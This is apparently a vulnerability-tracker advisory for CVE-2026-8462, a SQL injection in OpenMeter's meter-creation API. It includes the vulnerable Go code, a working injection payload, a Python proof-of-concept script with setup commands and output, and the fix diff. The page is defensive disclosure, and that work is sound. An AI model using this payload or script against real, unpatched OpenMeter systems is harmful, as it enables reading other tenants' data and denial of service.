Skip to main content

OpenMeter CVE-2026-8462

MEDIUM
SQL Injection (CWE-89)
2026-06-04 https://github.com/openmeterio/openmeter GHSA-wc3v-3457-c8cm
Share

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 04, 2026 - 19:21 vuln.today
Analysis Generated
Jun 04, 2026 - 19:21 vuln.today

DescriptionCVE.org

Summary

An authenticated tenant can inject arbitrary SQL through the valueProperty or groupBy fields of POST /api/v1/meters. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data.

Details

openmeter/streaming/clickhouse/utils_query.go:15 builds a ClickHouse SELECT by interpolating user input with fmt.Sprintf:

go
sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))

sqlbuilder.Escape() (go-sqlbuilder v1.40.2) only replaces $$$ to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. sb.Build() always returns an empty args slice - the query is never parameterized.

The payload must be prefixed with a valid JSONPath expression (e.g. $.foo) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which ValidateJSONPath silently treats as "invalid JSONPath" and returns early - before the injected branch can execute.

Working payload:

$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --

Generated SQL:

sql
SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --'

Fix - replace fmt.Sprintf string interpolation with sb.Var(), which appends the value to the builder's args list and emits a ? placeholder:

diff
-sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))
+sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath)))

PoC

poc.py:

python
import json, time, uuid
from urllib.request import Request, urlopen

SLEEP   = 3
API     = "http://localhost:48888"
PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --"

def post_meter(value_property):
    body = json.dumps({
        "slug":          f"poc_{uuid.uuid4().hex[:8]}",
        "eventType":     "x",
        "aggregation":   "SUM",
        "valueProperty": value_property,
    }).encode()
    req = Request(f"{API}/api/v1/meters", data=body,
                  headers={"Content-Type": "application/json"}, method="POST")
    t0 = time.monotonic()
    with urlopen(req, timeout=SLEEP + 10) as r:
        return r.status, time.monotonic() - t0

_, baseline = post_meter("$.tokens")
status, elapsed = post_meter(PAYLOAD)

print(f"baseline : {baseline:.3f}s")
print(f"injected : {elapsed:.3f}s  (HTTP {status})")
print(f"result   : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}")
shell
docker compose up -d
until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done
python3 poc.py

Expected output:

baseline : 0.036s
injected : 3.031s  (HTTP 200)
result   : sleep(3) CONFIRMED

Impact

SQL injection via POST /api/v1/meters (valueProperty or groupBy). Requires a valid tenant API key; no other preconditions. The shared openmeter.om_events table has no row-level security - a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible.

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research

AnalysisAI

SQL injection in OpenMeter's meter creation API allows any authenticated tenant to execute arbitrary ClickHouse SQL against a shared database with no row-level security, enabling full cross-tenant data exfiltration. The vulnerable endpoint is POST /api/v1/meters, where the valueProperty and groupBy fields are interpolated directly into ClickHouse SELECT statements via fmt.Sprintf without parameterization, and the sanitization function (sqlbuilder.Escape) only escapes library-internal placeholder characters - not single quotes. A publicly available exploit code (PoC) exists demonstrating confirmed time-based blind injection, and no public exploit identified at time of analysis in the CISA KEV sense, though the PoC lowers the barrier to exploitation significantly.

Technical ContextAI

OpenMeter is a Go-based metering platform (package: pkg:go/github.com_openmeterio_openmeter) that uses ClickHouse as its streaming analytics backend. The root cause (CWE-89, Improper Neutralization of Special Elements in an SQL Command) lives in openmeter/streaming/clickhouse/utils_query.go:15, where user-supplied JSONPath strings from the meter creation API are interpolated into raw ClickHouse SQL using fmt.Sprintf. The sanitization function sqlbuilder.Escape() from go-sqlbuilder v1.40.2 only substitutes dollar signs ($ → $$) to avoid conflicts with the library's own placeholder syntax - it explicitly does not escape single quotes. The query builder's sb.Build() call always returns an empty args slice, confirming the query is never parameterized. A secondary bypass exists: ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath, which ValidateJSONPath silently treats as rejection and returns early. Attackers must prefix payloads with a valid JSONPath token (e.g., $.foo) to pass this check and reach the execution stage. The shared openmeter.om_events table has no row-level security, so a successful injection operates across all tenant data with no access boundary.

RemediationAI

Upgrade to OpenMeter v1.0.0-beta.228 or later, confirmed fixed via PR #4383 (https://github.com/openmeterio/openmeter/pull/4383) and commit 6ce29e743165890c10346f4c71d5bf79f1ecaf6f. The fix replaces the unsafe fmt.Sprintf string interpolation with sqlbuilder.Buildf() using a %v placeholder, which causes JSONPath values to be passed as bound query parameters (? placeholders in the generated SQL) rather than concatenated into the query string - confirmed by the added test asserting the output is SELECT JSON_VALUE('{}', ?) with args []interface{}{'$.foo.bar'}. The full release is at https://github.com/openmeterio/openmeter/releases/tag/v1.0.0-beta.228. If immediate patching is not feasible, restrict access to POST /api/v1/meters at the reverse proxy or API gateway level so that only trusted administrative clients (not individual tenants) can invoke meter creation - this eliminates the attack surface but prevents self-service meter provisioning by tenants. There is no server-side configuration workaround that preserves the existing meter creation functionality without applying the patch.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

CVE-2026-8462 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy